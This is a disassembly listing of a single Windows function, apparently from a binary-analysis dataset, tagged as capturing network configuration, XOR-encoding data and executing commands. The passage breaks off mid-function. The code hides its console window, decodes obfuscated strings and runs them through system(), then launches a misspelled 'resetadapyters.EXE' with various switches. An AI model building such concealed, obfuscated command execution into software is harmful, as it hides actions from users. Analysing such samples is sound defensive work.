Function at 0x14003b0c0
Capabilities:
Capture network configuration via ipconfig
Encode data using xor
Execute command

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3f60]
mov eax, 0x4060
call fcn.1400c2080
sub rsp, rax
movaps xmmword [rsp + 0x4050], xmm6
movaps xmmword [rsp + 0x4040], xmm7
movaps xmmword [rsp + 0x4030], xmm8
movaps xmmword [rsp + 0x4020], xmm9
movaps xmmword [rsp + 0x4010], xmm10
movaps xmmword [rsp + 0x4000], xmm11
mov rax, qword [0x1400f30c0]
xor rax, rsp
mov qword [rbp + 0x3ef0], rax
xor edi, edi
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
movups xmm0, xmmword [0x1400dfab0]
movups xmmword [rbp + 0x1930], xmm0
movups xmm1, xmmword [0x1400dfac0]
movups xmmword [rbp + 0x1940], xmm1
movups xmm0, xmmword [0x1400dfad0]
movups xmmword [rbp + 0x1950], xmm0
movups xmm1, xmmword [0x1400dfae0]
movups xmmword [rbp + 0x1960], xmm1
movups xmm0, xmmword [0x1400dfaf0]
movups xmmword [rbp + 0x1970], xmm0
movsd xmm0, qword [0x1400dfb00]
movsd qword [rbp + 0x1980], xmm0
movzx eax, word [0x1400dfb08]
mov word [rbp + 0x1988], ax
mov r8d, edi
movdqa xmm7, xmmword [0x1400e0470]
movdqa xmm11, xmmword [0x1400e04b0]
movdqa xmm8, xmmword [str.3333]
movdqa xmm6, xmmword [0x1400e07d0]
movdqa xmm9, xmmword [0x1400e0440]
mov ebx, dword [reloc.WS2_32.dll_accept]
cmp ebx, 2
jl 0x14003b2f3
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x1934]
mov edx, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x14003b200
cmp r8d, 0x5a
jge 0x14003b333
movsxd rax, r8d
lea r9, [rbp + 0x1930]
add r9, rax
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5a
jl 0x14003b300
lea rcx, [rbp + 0x1930]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400dfa50]
movups xmmword [rbp + 0x4c0], xmm0
mov eax, dword [0x1400dfaa0]
movups xmm0, xmmword [0x1400dfa70]
movups xmm1, xmmword [0x1400dfa60]
mov dword [rbp + 0x510], eax
movups xmmword [rbp + 0x4e0], xmm0
movups xmmword [rbp + 0x4d0], xmm1
movzx eax, word [0x1400dfaa4]
movups xmm0, xmmword [0x1400dfa90]
movups xmm1, xmmword [0x1400dfa80]
mov word [rbp + 0x514], ax
movups xmmword [rbp + 0x500], xmm0
movups xmmword [rbp + 0x4f0], xmm1
mov r8d, edi
cmp ebx, 2
jl 0x14003b4b3
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x4c4]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x50
jl 0x14003b3c0
cmp r8d, 0x56
jge 0x14003b4f3
movsxd rax, r8d
lea r9, [rbp + 0x4c0]
add r9, rax
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x56
jl 0x14003b4c0
lea rcx, [rbp + 0x4c0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400df580]
movups xmmword [rbp + 0x410], xmm0
movups xmm0, xmmword [0x1400df5a0]
movups xmmword [rbp + 0x430], xmm0
mov eax, dword [0x1400df5d8]
movups xmm0, xmmword [0x1400df5c0]
movups xmm1, xmmword [0x1400df590]
mov dword [rbp + 0x468], eax
movups xmmword [rbp + 0x450], xmm0
movups xmmword [rbp + 0x420], xmm1
movzx eax, word [0x1400df5dc]
movsd xmm0, qword [0x1400df5d0]
movups xmm1, xmmword [0x1400df5b0]
mov word [rbp + 0x46c], ax
movsd qword [rbp + 0x460], xmm0
movups xmmword [rbp + 0x440], xmm1
mov r8d, edi
cmp ebx, 2
jl 0x14003b683
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x414]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x14003b590
cmp r8d, 0x5e
jge 0x14003b6c3
movsxd rax, r8d
lea r9, [rbp + 0x410]
add r9, rax
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5e
jl 0x14003b690
lea rcx, [rbp + 0x410]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x1400dec20]
movups xmm0, xmmword [0x1400debd0]
mov dword [rbp + 0x2f0], eax
movups xmmword [rbp + 0x2a0], xmm0
movzx eax, word [0x1400dec24]
movups xmm0, xmmword [0x1400debf0]
movups xmm1, xmmword [0x1400debe0]
mov word [rbp + 0x2f4], ax
movups xmmword [rbp + 0x2c0], xmm0
movups xmmword [rbp + 0x2b0], xmm1
movzx eax, byte [0x1400dec26]
movups xmm0, xmmword [0x1400dec10]
movups xmm1, xmmword [0x1400dec00]
mov byte [rbp + 0x2f6], al
movups xmmword [rbp + 0x2e0], xmm0
movups xmmword [rbp + 0x2d0], xmm1
mov r8d, edi
cmp ebx, 2
jl 0x14003b853
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0x2a4]
mov edx, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x50
jl 0x14003b760
cmp r8d, 0x57
jge 0x14003b893
movsxd rax, r8d
lea r9, [rbp + 0x2a0]
add r9, rax
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x57
jl 0x14003b860
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
lea rcx, [rbp + 0x3850]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3870]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3890]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3bb0]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x38b0]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x38d0]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x38f0]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3930]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3910]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3810]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3830]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3950]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3970]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3b90]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3b70]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3b50]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3b30]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3b10]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3af0]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3ad0]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3ab0]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3dd0]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3a70]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3a50]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3a30]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3a10]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x39f0]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x39d0]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x39b0]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3990]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3ed0]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3eb0]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3e90]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3e70]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3e50]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3e30]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3e10]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3df0]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3db0]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3d90]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3d70]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3d50]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3d30]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3d10]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3cf0]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3cd0]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3cb0]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3c90]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3a90]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3c70]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3c50]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3c30]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3c10]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3bf0]
call fcn.14003abf0
nop
lea rcx, [rbp + 0x3bd0]
call fcn.14003abf0
nop
lea rcx, str.C:Windows_resetadapyters.EXE__SU_AUTO__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r13, qword [rbp + 0x3860]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r13
cmp rax, 0x22
jb 0x140047a29
lea r12, [rbp + 0x3850]
cmp qword [rbp + 0x3868], 0xf
cmova r12, qword [rbp + 0x3850]
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
lea r15, [r13 + 0x22]
mov esi, reloc.WS2_32.dll_ntohs
mov ebx, esi
lea r14, [rsp + 0x68]
movabs rax, 0x8000000000000000
mov edx, reloc.WLDAP32.dll_Ordinal_22
cmp r15, rbx
jbe 0x14003bc60
mov rbx, r15
or rbx, rsi
cmp rbx, rcx
jbe 0x14003bc09
mov rbx, rcx
add rax, 0x27
jmp 0x14003bc34
cmp rbx, rdx
cmovb rbx, rdx
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x14003bc1e
mov r14, rdi
jmp 0x14003bc5b
cmp rcx, 0x1000
jb 0x14003bc53
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140047a2f
mov rcx, rax
call fcn.1400c186c
test rax, rax
je 0x14003d264
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x14003bc5b
call fcn.1400c186c
mov r14, rax
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x80], rbx
movups xmm0, xmmword [str.C:Windows_resetadapyters.EXE__SS]
movups xmmword [r14], xmm0
movups xmm1, xmmword [0x1400dce18]
movups xmmword [r14 + 0x10], xmm1
movzx eax, word [0x1400dce28]
mov word [r14 + 0x20], ax
lea rcx, [r14 + 0x22]
mov r8, r13
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + r15], 0
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rbp - 0x80]
mov rax, rdx
sub rax, rcx
cmp rax, 5
jb 0x14003bcf0
lea rax, [rcx + 5]
mov qword [rsp + 0x78], rax
lea rbx, [rsp + 0x68]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x68]
add rbx, rcx
mov r8d, 5
lea rdx, str.__nul
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 5], 0
lea rax, [rsp + 0x68]
jmp 0x14003bd15
mov qword [rsp + 0x20], 5
lea r9, str.__nul
movzx r8d, byte [rsp + 0x40]
mov edx, 5
lea rcx, [rsp + 0x68]
call fcn.14005a170
xorps xmm0, xmm0
movups xmmword [rbp + 0x88], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x98], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x88], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x98], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rsi
mov byte [rax], 0
lea rcx, [rbp + 0x88]
cmp qword [rbp + 0xa0], 0xf
cmova rcx, qword [rbp + 0x88]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0xf
jbe 0x14003bdab
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003bda6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003bda6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c1540
movdqa xmm10, xmmword [0x1400e0410]
movdqu xmmword [rbp + 0x98], xmm10
mov byte [rbp + 0x88], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x14003be00
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003bdfb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003d264
call fcn.1400c1540
movdqu xmmword [rsp + 0x78], xmm10
mov byte [rsp + 0x68], 0
mov r13, qword [rbp + 0x3880]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r13
cmp rax, 0x23
jb 0x140047a29
lea r12, [rbp + 0x3870]
cmp qword [rbp + 0x3888], 0xf
cmova r12, qword [rbp + 0x3870]
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
lea r15, [r13 + 0x23]
mov r14, rsi
lea rbx, [rbp - 0x78]
cmp r15, rsi
jbe 0x14003bede
mov r14, r15
or r14, 0xf
cmp r14, rcx
jbe 0x14003be82
mov r14, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x14003beb3
cmp r14, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb r14, rax
lea rcx, [r14 + 1]
test rcx, rcx
jne 0x14003be9d
mov rbx, rdi
jmp 0x14003beda
cmp rcx, 0x1000
jb 0x14003bed2
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140047a2f
mov rcx, rax
call fcn.1400c186c
test rax, rax
je 0x14003d264
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14003beda
call fcn.1400c186c
mov rbx, rax
mov qword [rbp - 0x78], rbx
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x60], r14
movups xmm0, xmmword [str.C:Windows_resetadapyters.EXE__CSK]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [0x1400dce40]
movups xmmword [rbx + 0x10], xmm1
movzx eax, word [0x1400dce50]
mov word [rbx + 0x20], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_32]
mov byte [rbx + 0x22], al
lea rcx, [rbx + 0x23]
mov r8, r13
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r15], 0
mov rcx, qword [rbp - 0x68]
mov rdx, qword [rbp - 0x60]
mov rax, rdx
sub rax, rcx
cmp rax, 5
jb 0x14003bf6f
lea rax, [rcx + 5]
mov qword [rbp - 0x68], rax
lea rbx, [rbp - 0x78]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x78]
add rbx, rcx
mov r8d, 5
lea rdx, str.__nul
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 5], 0
lea rax, [rbp - 0x78]
jmp 0x14003bf93
mov qword [rsp + 0x20], 5
lea r9, str.__nul
movzx r8d, byte [rsp + 0x40]
mov edx, 5
lea rcx, [rbp - 0x78]
call fcn.14005a170
xorps xmm0, xmm0
movups xmmword [rbp + 0xa8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xa8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xb8], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rsi
mov byte [rax], 0
lea rcx, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 0xf
cmova rcx, qword [rbp + 0xa8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0xf
jbe 0x14003c029
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c024
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003c024
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c1540
movdqu xmmword [rbp + 0xb8], xmm10
mov byte [rbp + 0xa8], 0
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x14003c074
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c06f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003d264
call fcn.1400c1540
movdqu xmmword [rbp - 0x68], xmm10
mov byte [rbp - 0x78], 0
mov r13, qword [rbp + 0x38a0]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r13
cmp rax, 0x23
jb 0x140047a29
lea r12, [rbp + 0x3890]
cmp qword [rbp + 0x38a8], 0xf
cmova r12, qword [rbp + 0x3890]
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x48], xmm1
lea r15, [r13 + 0x23]
mov r14, rsi
lea rbx, [rbp - 0x58]
cmp r15, rsi
jbe 0x14003c150
mov r14, r15
or r14, 0xf
cmp r14, rcx
jbe 0x14003c0f4
mov r14, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x14003c125
cmp r14, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb r14, rax
lea rcx, [r14 + 1]
test rcx, rcx
jne 0x14003c10f
mov rbx, rdi
jmp 0x14003c14c
cmp rcx, 0x1000
jb 0x14003c144
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140047a2f
mov rcx, rax
call fcn.1400c186c
test rax, rax
je 0x14003d264
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14003c14c
call fcn.1400c186c
mov rbx, rax
mov qword [rbp - 0x58], rbx
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x40], r14
movups xmm0, xmmword [str.C:Windows_resetadapyters.EXE__CM]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [0x1400dce68]
movups xmmword [rbx + 0x10], xmm1
movzx eax, word [0x1400dce78]
mov word [rbx + 0x20], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_32]
mov byte [rbx + 0x22], al
lea rcx, [rbx + 0x23]
mov r8, r13
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r15], 0
mov rcx, qword [rbp - 0x48]
mov rdx, qword [rbp - 0x40]
mov rax, rdx
sub rax, rcx
cmp rax, 5
jb 0x14003c1e1
lea rax, [rcx + 5]
mov qword [rbp - 0x48], rax
lea rbx, [rbp - 0x58]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x58]
add rbx, rcx
mov r8d, 5
lea rdx, str.__nul
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 5], 0
lea rax, [rbp - 0x58]
jmp 0x14003c205
mov qword [rsp + 0x20], 5
lea r9, str.__nul
movzx r8d, byte [rsp + 0x40]
mov edx, 5
lea rcx, [rbp - 0x58]
call fcn.14005a170
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xc8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xd8], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rsi
mov byte [rax], 0
lea rcx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0xf
cmova rcx, qword [rbp + 0xc8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0xf
jbe 0x14003c29b
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c296
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003c296
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c1540
movdqu xmmword [rbp + 0xd8], xmm10
mov byte [rbp + 0xc8], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x14003c2e6
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c2e1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003d264
call fcn.1400c1540
movdqu xmmword [rbp - 0x48], xmm10
mov byte [rbp - 0x58], 0
mov r13, qword [rbp + 0x38c0]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r13
cmp rax, 0x22
jb 0x140047a29
lea r12, [rbp + 0x38b0]
cmp qword [rbp + 0x38c8], 0xf
cmova r12, qword [rbp + 0x38b0]
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x28], xmm1
lea r15, [r13 + 0x22]
mov rbx, rsi
lea r14, [rbp - 0x38]
cmp r15, rbx
jbe 0x14003c3c2
mov rbx, r15
or rbx, 0xf
cmp rbx, rcx
jbe 0x14003c366
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x14003c397
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
